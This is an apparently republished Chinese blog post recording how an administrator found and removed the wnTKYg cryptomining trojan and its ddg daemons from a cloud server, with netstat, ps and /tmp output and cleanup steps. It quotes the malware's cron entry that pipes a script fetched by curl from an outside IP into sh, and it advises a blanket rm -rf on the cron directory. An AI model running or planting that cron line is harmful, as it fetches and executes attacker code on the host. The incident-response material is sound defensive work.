记录清除wnTKYg挖矿工木马(守护进程ddg.xxxx)的过程

Posted 轻轻的烟雾

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记录清除wnTKYg挖矿工木马(守护进程ddg.xxxx)的过程相关的知识,希望对你有一定的参考价值。

起因,阿里云多次提醒我的一台服务器有恶意发包行为,且给出了一些解决办法。之前也没太在意,就按照解决办法处理了一下。然后过一段时间,还是提示有此行为。

猜肯定是中了木马了,开始以为是被肉鸡了拿来做DDoS攻击别人了。今天去服务器上仔细看了一下。然后发现了问题究竟(目前猜应该如此,还等待观察)。

现将过程记录如下:

 

1、先查看一下端口情况,发现有些名为ddg.xxxx的进程很可疑。然后看了下远程的链接IP,美国、法国等地方,很奇怪。网上搜了一下,没什么结果。

[[email protected] ~]# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22111           0.0.0.0:*               LISTEN      840/sshd            
tcp        0      0 127.0.0.1:32000         0.0.0.0:*               LISTEN      27121/java          
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      20918/memcached     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      813/nginx: worker p 
tcp        0      0 0.0.0.0:81              0.0.0.0:*               LISTEN      1497/httpd          
tcp        0      0 0.0.0.0:82              0.0.0.0:*               LISTEN      1497/httpd          
tcp        0      0 0.0.0.0:83              0.0.0.0:*               LISTEN      1497/httpd          
tcp        0      0 0.0.0.0:85              0.0.0.0:*               LISTEN      1497/httpd          
tcp      401      0 我的IP:42388    106.11.68.13:80         CLOSE_WAIT  11393/AliYunDunUpda 
tcp        0      1 我的IP:43968    52.2.199.2:8443         SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:38258    54.222.159.38:8443      SYN_SENT    1620/ddg.1010       
tcp      401      0 我的IP:41811    106.11.68.13:80         CLOSE_WAIT  11393/AliYunDunUpda 
tcp      401      0 我的IP:53489    140.205.140.205:80      CLOSE_WAIT  11393/AliYunDunUpda 
tcp        0      0 我的IP:59795    202.181.169.98:8443     ESTABLISHED 25125/ddg.2011      
tcp        0      0 我的IP:50071    212.83.189.246:443      ESTABLISHED 12908/wnTKYg        
tcp        0      1 我的IP:47592    106.75.74.11:9443       SYN_SENT    12799/ddg.1009      
tcp      371      0 10.174.208.36:51087     100.100.25.3:80         CLOSE_WAIT  11393/AliYunDunUpda 
tcp        0      0 我的IP:40019    106.11.68.13:80         ESTABLISHED 11448/AliYunDun     
tcp        0      0 127.0.0.1:32000         127.0.0.1:31001         ESTABLISHED 27119/wrapper       
tcp        0      1 我的IP:39511    39.108.56.56:8443       SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:50528    121.69.45.254:8443      SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:51132    106.75.71.242:8443      SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:60425    120.77.46.195:8443      SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:54458    116.39.7.114:8443       SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:57546    54.183.178.110:8443     SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:57686    106.75.134.239:8443     SYN_SENT    1620/ddg.1010       
tcp        0      1 我的IP:56848    61.65.191.22:8443       SYN_SENT    1620/ddg.1010       
tcp      401      0 我的IP:52910    106.11.68.13:80         CLOSE_WAIT  11393/AliYunDunUpda 
tcp        0    604 我的IP:22111    27.10.185.19:63158      ESTABLISHED 19368/sshd: [email protected] 
tcp        0      1 我的IP:56357    165.225.157.157:8443    SYN_SENT    1620/ddg.1010       

 

2、然后,看了下这个进程的具体情况,居然是在/tmp/下的进程,心中更多抑或:

[[email protected] ~]# ps aux | grep ddg
root      1620  0.1  0.7 209684 13688 ?        Sl   Jul12  78:05 /tmp/ddg.1010
root     12799  0.0  0.2 262816  5460 ?        Sl   Jul01   9:32 /tmp/ddg.1009
root     19576  0.0  0.0 112644   960 pts/1    S+   10:01   0:00 grep --color=auto ddg
root     25125  0.0  0.2 207236  5172 ?        Sl   Aug27   2:13 /tmp/ddg.2011
root     28248  0.0  0.2 207192  4520 ?        Sl   Jul27  38:09 /tmp/ddg.1021

 

3、再去看看/tmp/下的文件,只有一个ddg.2011的文件,当时就心想,肯定是这些进程运行后,又自动删除了文件,看时间,8月创建的时间的文件,全部统统rm掉:

[[email protected] tmp]# ll -ah
total 9.6M
drwxrwxrwt.  9 root root 4.0K Aug 29 10:02 .
drwxr-xr-x. 20 root root 4.0K Jun 30 18:04 ..
srwxr-xr-x   1 root root    0 Aug 28 12:53 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
-rwxr-xr-x   1 root root 9.5M Aug 11 10:13 ddg.2011
drwxrwxrwt.  2 root root 4.0K Nov 21  2014 .font-unix
drwxr-xr-x   2 root root 4.0K Aug 17 10:07 hsperfdata_root
drwxrwxrwt.  2 root root 4.0K Nov 21  2014 .ICE-unix
drwx------   3 root root 4.0K Nov 26  2015 systemd-private-nwO9vi
drwxrwxrwt.  2 root root 4.0K Nov 21  2014 .Test-unix
drwxrwxrwt.  2 root root 4.0K Nov 21  2014 .X11-unix
drwxrwxrwt.  2 root root 4.0K Nov 21  2014 .XIM-unix

 

4、再重复步骤1,查看端口情况,又发现了这个玩意儿,感觉不太正常(直觉):

tcp        0      0 我的IP:50071    212.83.189.246:443      ESTABLISHED 12908/wnTKYg   

 

5、一搜,原来居然是个挖矿的程序貌似。原来已经有不少人中招过了。解决办法也有很多人给出了,基本上就是:

先给redis的问题处理掉,改端口、加密码之类;

查看/root/.ssh/下的文件,是否有异常登陆信息,有的话删掉;

搜索wnTKYg的相关文件( find / -name *wnTKYg*),删掉;

删掉/tmp/下的异常文件(主要是ddg.xxxx之类的);

kill掉wnTKYg以及ddg.xxxx的进程;

还有个问题,这个程序有个自动任务,从木马服务器下载程序执行,也要删掉:

cd /var/spool/cron
ll -ah
rm -rf *

我查看这个目录时,发现里面的自动任务是这样的,好像是印度一个IP:

[[email protected] cron]# cat root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh

至此,完工。然后继续观察。

 

参考资料。感谢:

http://blog.csdn.net/u010789532/article/details/70528648

http://blog.csdn.net/zimou5581/article/details/73064878

 

以上是关于记录清除wnTKYg挖矿工木马(守护进程ddg.xxxx)的过程的主要内容,如果未能解决你的问题,请参考以下文章

清除wnTKYg 这个挖矿工木马的过程讲述

wnTKYg 挖矿工木马 解决过程

记录一次wnTKYg挖矿木马发现和清理

Linux服务器中木马wnTKYg

月入百万的“黄金矿工”,知道创宇“通关”SaltStack挖矿木马

linux病毒查杀